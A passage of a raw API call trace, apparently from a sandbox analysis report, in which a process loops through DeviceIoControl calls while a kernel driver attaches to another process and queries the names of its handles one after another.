ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.908] ObReferenceObjectByHandle (in: Handle=0x5bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002061800, HandleInformation=0x0) returned 0x0 [0112.908] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.909] PsReleaseProcessExitSynchronization () returned 0x2 [0112.909] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.909] ObQueryNameString (in: Object=0xfffff8a002061800, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.909] ObfDereferenceObject (Object=0xfffff8a002061800) returned 0x1 [0112.909] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.909] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.909] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.909] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.909] PsAcquireProcessExitSynchronization () returned 0x0 [0112.909] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.909] ObReferenceObjectByHandle (in: Handle=0x5cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002069140, HandleInformation=0x0) returned 0x0 [0112.909] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.909] PsReleaseProcessExitSynchronization () returned 0x2 [0112.909] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.909] ObQueryNameString (in: Object=0xfffff8a002069140, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.909] ObfDereferenceObject (Object=0xfffff8a002069140) returned 0x1 [0112.909] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.909] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.909] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.909] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.909] PsAcquireProcessExitSynchronization () returned 0x0 [0112.909] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.909] ObReferenceObjectByHandle (in: Handle=0x5dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020493d0, HandleInformation=0x0) returned 0x0 [0112.909] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.909] PsReleaseProcessExitSynchronization () returned 0x2 [0112.909] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.909] ObQueryNameString (in: Object=0xfffff8a0020493d0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.909] ObfDereferenceObject (Object=0xfffff8a0020493d0) returned 0x1 [0112.909] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.909] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.910] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.910] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.910] PsAcquireProcessExitSynchronization () returned 0x0 [0112.910] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.910] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00208cd00, HandleInformation=0x0) returned 0x0 [0112.910] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.910] PsReleaseProcessExitSynchronization () returned 0x2 [0112.910] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.910] ObQueryNameString (in: Object=0xfffff8a00208cd00, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.910] ObfDereferenceObject (Object=0xfffff8a00208cd00) returned 0x1 [0112.910] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.910] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.910] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.910] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.910] PsAcquireProcessExitSynchronization () returned 0x0 [0112.910] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.910] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001fb0c00, HandleInformation=0x0) returned 0x0 [0112.910] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.910] PsReleaseProcessExitSynchronization () returned 0x2 [0112.910] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.910] ObQueryNameString (in: Object=0xfffff8a001fb0c00, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.910] ObfDereferenceObject (Object=0xfffff8a001fb0c00) returned 0x1 [0112.910] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.910] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.910] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.910] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.910] PsAcquireProcessExitSynchronization () returned 0x0 [0112.910] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.910] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002081e00, HandleInformation=0x0) returned 0x0 [0112.911] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.911] PsReleaseProcessExitSynchronization () returned 0x2 [0112.911] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.911] ObQueryNameString (in: Object=0xfffff8a002081e00, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.911] ObfDereferenceObject (Object=0xfffff8a002081e00) returned 0x1 [0112.911] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.911] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.911] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.911] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.911] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.911] PsAcquireProcessExitSynchronization () returned 0x0 [0112.911] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.911] ObReferenceObjectByHandle (in: Handle=0x61c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f84400, HandleInformation=0x0) returned 0x0 [0112.911] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.911] PsReleaseProcessExitSynchronization () returned 0x2 [0112.911] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.911] ObQueryNameString (in: Object=0xfffff8a001f84400, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.911] ObfDereferenceObject (Object=0xfffff8a001f84400) returned 0x1 [0112.911] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.911] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.911] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.911] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.911] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.911] PsAcquireProcessExitSynchronization () returned 0x0 [0112.911] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.911] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020a4eb0, HandleInformation=0x0) returned 0x0 [0112.911] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.911] PsReleaseProcessExitSynchronization () returned 0x2 [0112.911] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.911] ObQueryNameString (in: Object=0xfffff8a0020a4eb0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.911] ObfDereferenceObject (Object=0xfffff8a0020a4eb0) returned 0x1 [0112.911] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.911] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.911] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.912] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.912] PsAcquireProcessExitSynchronization () returned 0x0 [0112.912] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.912] ObReferenceObjectByHandle (in: Handle=0x63c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020a0890, HandleInformation=0x0) returned 0x0 [0112.912] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.912] PsReleaseProcessExitSynchronization () returned 0x2 [0112.912] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.912] ObQueryNameString (in: Object=0xfffff8a0020a0890, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.912] ObfDereferenceObject (Object=0xfffff8a0020a0890) returned 0x1 [0112.912] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.912] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.912] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.912] PsAcquireProcessExitSynchronization () returned 0x0 [0112.912] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.912] ObReferenceObjectByHandle (in: Handle=0x64c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002089700, HandleInformation=0x0) returned 0x0 [0112.912] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.912] PsReleaseProcessExitSynchronization () returned 0x2 [0112.912] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.912] ObQueryNameString (in: Object=0xfffff8a002089700, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.912] ObfDereferenceObject (Object=0xfffff8a002089700) returned 0x1 [0112.912] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.912] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.912] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.912] PsAcquireProcessExitSynchronization () returned 0x0 [0112.912] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.912] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020997e0, HandleInformation=0x0) returned 0x0 [0112.912] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.913] PsReleaseProcessExitSynchronization () returned 0x2 [0112.913] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.913] ObQueryNameString (in: Object=0xfffff8a0020997e0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.913] ObfDereferenceObject (Object=0xfffff8a0020997e0) returned 0x1 [0112.913] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.913] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.913] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.913] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.913] PsAcquireProcessExitSynchronization () returned 0x0 [0112.913] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.913] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020ad780, HandleInformation=0x0) returned 0x0 [0112.913] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.913] PsReleaseProcessExitSynchronization () returned 0x2 [0112.913] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.913] ObQueryNameString (in: Object=0xfffff8a0020ad780, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.913] ObfDereferenceObject (Object=0xfffff8a0020ad780) returned 0x1 [0112.913] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.913] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.913] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.913] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.913] PsAcquireProcessExitSynchronization () returned 0x0 [0112.913] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.913] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00204d540, HandleInformation=0x0) returned 0x0 [0112.913] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.913] PsReleaseProcessExitSynchronization () returned 0x2 [0112.914] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.914] ObQueryNameString (in: Object=0xfffff8a00204d540, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.914] ObfDereferenceObject (Object=0xfffff8a00204d540) returned 0x1 [0112.914] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.914] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.914] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.914] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.914] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.914] PsAcquireProcessExitSynchronization () returned 0x0 [0112.914] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.914] ObReferenceObjectByHandle (in: Handle=0x68c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002094340, HandleInformation=0x0) returned 0x0 [0112.914] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.914] PsReleaseProcessExitSynchronization () returned 0x2 [0112.914] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.914] ObQueryNameString (in: Object=0xfffff8a002094340, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.914] ObfDereferenceObject (Object=0xfffff8a002094340) returned 0x1 [0112.914] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.914] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.914] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.914] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.914] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.914] PsAcquireProcessExitSynchronization () returned 0x0 [0112.914] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.914] ObReferenceObjectByHandle (in: Handle=0x69c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f6c480, HandleInformation=0x0) returned 0x0 [0112.914] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.914] PsReleaseProcessExitSynchronization () returned 0x2 [0112.914] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.914] ObQueryNameString (in: Object=0xfffff8a001f6c480, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.914] ObfDereferenceObject (Object=0xfffff8a001f6c480) returned 0x1 [0112.914] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.914] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.914] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.914] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.915] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.915] PsAcquireProcessExitSynchronization () returned 0x0 [0112.915] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.915] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002082c30, HandleInformation=0x0) returned 0x0 [0112.915] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.915] PsReleaseProcessExitSynchronization () returned 0x2 [0112.915] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.915] ObQueryNameString (in: Object=0xfffff8a002082c30, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: 